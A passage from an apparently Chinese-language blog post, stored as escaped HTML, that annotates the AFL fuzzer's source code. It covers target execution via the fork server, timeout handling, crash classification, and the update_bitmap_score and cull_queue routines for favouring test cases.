out_fd is cloned instead. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      setsid();&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      dup2(dev_null_fd, 1);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      dup2(dev_null_fd, 2);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      if (out_file) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        dup2(dev_null_fd, 0);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      } else {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        dup2(out_fd, 0);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        close(out_fd);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      &#x2F;* On Linux, would be faster to use O_CLOEXEC. Maybe TODO. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      close(dev_null_fd);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      close(out_dir_fd);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      close(dev_urandom_fd);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      close(fileno(plot_file));&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      &#x2F;* Set sane defaults for ASAN if nothing else specified. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      setenv(&quot;ASAN_OPTIONS&quot;, &quot;abort_on_error=1:&quot;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;                             &quot;detect_leaks=0:&quot;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;                             &quot;symbolize=0:&quot;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;                             &quot;allocator_may_return_null=1&quot;, 0);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      setenv(&quot;MSAN_OPTIONS&quot;, &quot;exit_code=&quot; STRINGIFY(MSAN_ERROR) &quot;:&quot;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;                             &quot;symbolize=0:&quot;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;                             &quot;msan_track_origins=0&quot;, 0);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      execv(target_path, argv); &#x2F;&#x2F; 让子进程execv执行目标程序&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      &#x2F;* Use a distinctive bitmap value to tell the parent about execv()&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;         falling through. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      *(u32*)trace_bits = EXEC_FAIL_SIG; &#x2F;&#x2F; execv执行失败，写入 EXEC_FAIL_SIG&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      exit(0);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  } else {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    s32 res;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    &#x2F;* In non-dumb mode, we have the fork server up and running, so simply&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;       tell it to have at it, and then read back PID. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;		&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    &#x2F;&#x2F; 如果并不是处在dumb_mode模式，说明fork server已经启动了，我们只需要进行&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    &#x2F;&#x2F; 控制管道的写和状态管道的读即可&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;   if ((res = write(fsrv_ctl_fd, &amp;amp;prev_timed_out, 4)) != 4) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      if (stop_soon) return 0;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      RPFATAL(res, &quot;Unable to request new process from fork server (OOM?)&quot;);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    if ((res = read(fsrv_st_fd, &amp;amp;child_pid, 4)) != 4) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      if (stop_soon) return 0;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      RPFATAL(res, &quot;Unable to request new process from fork server (OOM?)&quot;);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    if (child_pid &amp;lt;= 0) FATAL(&quot;Fork server is misbehaving (OOM?)&quot;);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &#x2F;* Configure timeout, as requested by user, then wait for child to terminate. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;&#x2F;&#x2F; 配置超时，等待子进程结束&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  it.it_value.tv_sec = (timeout &#x2F; 1000);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  it.it_value.tv_usec = (timeout % 1000) * 1000;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  setitimer(ITIMER_REAL, &amp;amp;it, NULL);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &#x2F;* The SIGALRM handler simply kills the child_pid and sets child_timed_out. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;	&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  if (dumb_mode == 1 || no_fork server) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    if (waitpid(child_pid, &amp;amp;status, 0) &amp;lt;= 0) PFATAL(&quot;waitpid() failed&quot;);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  } else {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    s32 res;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    if ((res = read(fsrv_st_fd, &amp;amp;status, 4)) != 4) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      if (stop_soon) return 0;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      RPFATAL(res, &quot;Unable to communicate with fork server (OOM?)&quot;);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  if (!WIFSTOPPED(status)) child_pid = 0;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  getitimer(ITIMER_REAL, &amp;amp;it);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  exec_ms = (u64) timeout - (it.it_value.tv_sec * 1000 +&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;                             it.it_value.tv_usec &#x2F; 1000); &#x2F;&#x2F; 计算执行时间&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  it.it_value.tv_sec = 0;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  it.it_value.tv_usec = 0;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  setitimer(ITIMER_REAL, &amp;amp;it, NULL);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  total_execs++;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &#x2F;* Any subsequent operations on trace_bits must not be moved by the&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;     compiler below this point. Past this location, trace_bits[] behave&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;     very normally and do not have to be treated as volatile. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  MEM_BARRIER();&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  tb4 = *(u32*)trace_bits;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &#x2F;&#x2F; 分别执行64和32位下的classify_counts，设置trace_bits所在的mem&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;#ifdef WORD_SIZE_64&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  classify_counts((u64*)trace_bits);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;#else&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  classify_counts((u32*)trace_bits);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;#endif &#x2F;* ^WORD_SIZE_64 *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  prev_timed_out = child_timed_out;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &#x2F;* Report outcome to caller. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  if (WIFSIGNALED(status) &amp;amp;&amp;amp; !stop_soon) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;		&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    kill_signal = WTERMSIG(status);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    if (child_timed_out &amp;amp;&amp;amp; kill_signal == SIGKILL) return FAULT_TMOUT;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    return FAULT_CRASH;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &#x2F;* A somewhat nasty hack for MSAN, which doesn&#x27;t support abort_on_error and&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;     must use a special exit code. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  if (uses_asan &amp;amp;&amp;amp; WEXITSTATUS(status) == MSAN_ERROR) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    kill_signal = 0;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    return FAULT_CRASH;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  if ((dumb_mode == 1 || no_fork server) &amp;amp;&amp;amp; tb4 == EXEC_FAIL_SIG)&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    return FAULT_ERROR;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &#x2F;* It makes sense to account for the slowest units only if the testcase was run&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  under the user defined timeout. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  if (!(timeout &amp;gt; exec_tmout) &amp;amp;&amp;amp; (slowest_exec_ms &amp;lt; exec_ms)) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    slowest_exec_ms = exec_ms;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  return FAULT_NONE;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;当我们发现一个新路径时，需要判断发现的新路径是否更“favorable”，也就是是否包含最小的路径集合能遍历到所有bitmap中的位，并在之后的fuzz过程中聚焦在这些路径上。&lt;&#x2F;p&gt;
&lt;p&gt;以上过程的第一步是为bitmap中的每个字节维护一个 &lt;code&gt;top_rated[]&lt;&#x2F;code&gt; 的列表，这里会计算究竟哪些位置是更“合适”的，该函数主要实现该过程。&lt;&#x2F;p&gt;
&lt;p&gt;函数的控制流程图如下：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;afl&#x2F;afl-top-rated-flowchart.png&quot; alt=&quot;https:&#x2F;&#x2F;cdn.jsdelivr.net&#x2F;gh&#x2F;AlexsanderShaw&#x2F;BlogImages@main&#x2F;img&#x2F;vuln&#x2F;shebei20210909111120.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;结合源码进行解释：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt; 1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;11&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;12&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;13&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;14&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;15&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;16&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;17&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;18&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;19&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;20&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;21&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;22&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;23&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;24&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;25&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;26&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;27&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;28&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;29&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;30&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;31&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;32&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;33&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;34&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;35&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;36&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;37&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;38&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;39&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;40&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;41&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;42&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;43&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;44&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;static void update_bitmap_score(struct queue_entry* q) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  u32 i;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  u64 fav_factor = q-&amp;gt;exec_us * q-&amp;gt;len;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &#x2F;&#x2F; 首先计算case的fav_factor，计算方法是执行时间和样例大小的乘积&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &#x2F;* For every byte set in trace_bits[], see if there is a previous winner,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;     and how it compares to us. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  for (i = 0; i &amp;lt; MAP_SIZE; i++) &#x2F;&#x2F; 遍历trace_bits数组&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    if (trace_bits[i]) { &#x2F;&#x2F; 不为0，表示已经被覆盖到的路径&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;       if (top_rated[i]) { &#x2F;&#x2F; 检查top_rated是否存在&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;         &#x2F;* Faster-executing or smaller test cases are favored. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;         if (fav_factor &amp;gt; top_rated[i]-&amp;gt;exec_us * top_rated[i]-&amp;gt;len) continue; &#x2F;&#x2F; 判断哪个计算结果更小&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;         &#x2F;&#x2F; 如果top_rated[i]的更小，则代表它的更优，不做处理，继续遍历下一个路径；&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;         &#x2F;&#x2F; 如果q的更小，就执行以下代码：&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;   &lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;         &#x2F;* Looks like we&#x27;re going to win. Decrease ref count for the&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;            previous winner, discard its trace_bits[] if necessary. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;         if (!--top_rated[i]-&amp;gt;tc_ref) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;           ck_free(top_rated[i]-&amp;gt;trace_mini);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;           top_rated[i]-&amp;gt;trace_mini = 0;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;         }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;       }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;       &#x2F;* Insert ourselves as the new winner. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;       top_rated[i] = q; &#x2F;&#x2F; 设置为当前case&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;       q-&amp;gt;tc_ref++;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;       if (!q-&amp;gt;trace_mini) { &#x2F;&#x2F; 为空&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;         q-&amp;gt;trace_mini = ck_alloc(MAP_SIZE &amp;gt;&amp;gt; 3);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;         minimize_bits(q-&amp;gt;trace_mini, trace_bits);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;       }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;       score_changed = 1;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;     }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;在前面讨论的关于case的 &lt;code&gt;top_rated&lt;&#x2F;code&gt; 的计算中，还有一个机制是检查所有的 &lt;code&gt;top_rated[]&lt;&#x2F;code&gt; 条目，然后顺序获取之前没有遇到过的byte的对比分数低的“获胜者”进行标记，标记至少会维持到下一次运行之前。在所有的fuzz步骤中，“favorable”的条目会获得更多的执行时间。&lt;&#x2F;p&gt;
&lt;p&gt;函数的控制流程图如下：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;afl&#x2F;setup-signal-handlers-flow.png&quot; alt=&quot;https:&#x2F;&#x2F;cdn.jsdelivr.net&#x2F;gh&#x2F;AlexsanderShaw&#x2F;BlogImages@main&#x2F;img&#x2F;vuln&#x2F;shebei20210909141025.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;结合源码解析如下：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt; 1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;11&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;12&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;13&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;14&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;15&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;16&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;17&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;18&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;19&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;20&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;21&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;22&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;23&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;24&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;25&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;26&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;27&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;28&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;29&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;30&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;31&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;32&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;33&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;34&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;35&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;36&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;37&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;38&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;39&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;40&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;41&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;42&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;43&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;44&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;45&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;46&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;47&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;48&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;49&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;50&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;51&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;52&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;53&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;54&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;static void cull_queue(void) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  struct queue_entry* q;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  static u8 temp_v[MAP_SIZE &amp;gt;&amp;gt; 3];&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  u32 i;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  if (dumb_mode || !score_changed) return;  &#x2F;&#x2F; 如果处于dumb模式或者score没有发生变化（top_rated没有发生变化），直接返回&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  score_changed = 0;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  memset(temp_v, 255, MAP_SIZE &amp;gt;&amp;gt; 3);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &#x2F;&#x2F; 设置temp_v大小为MAP_SIZE&amp;gt;&amp;gt;3，初始化为0xff，全1，表示还没有被覆盖到，为0表示被覆盖到了。&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  queued_favored  = 0;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  pending_favored = 0;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  q = queue;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  while (q) { &#x2F;&#x2F; 进行队列遍历&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    q-&amp;gt;favored = 0; &#x2F;&#x2F; 所有元素的favored均设置为0&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    q = q-&amp;gt;next;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &#x2F;* Let&#x27;s see if anything in the bitmap isn&#x27;t captured in temp_v.&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;     If yes, and if it has a top_rated[] contender, let&#x27;s use it. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;	&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &#x2F;&#x2F; i从0到MAP_SIZE进行迭代，筛选出一组队列条目，它们可以覆盖到所有现在已经覆盖的路径&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  for (i = 0; i &amp;lt; MAP_SIZE; i++)&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    if (top_rated[i] &amp;amp;&amp;amp; (temp_v[i &amp;gt;&amp;gt; 3] &amp;amp; (1 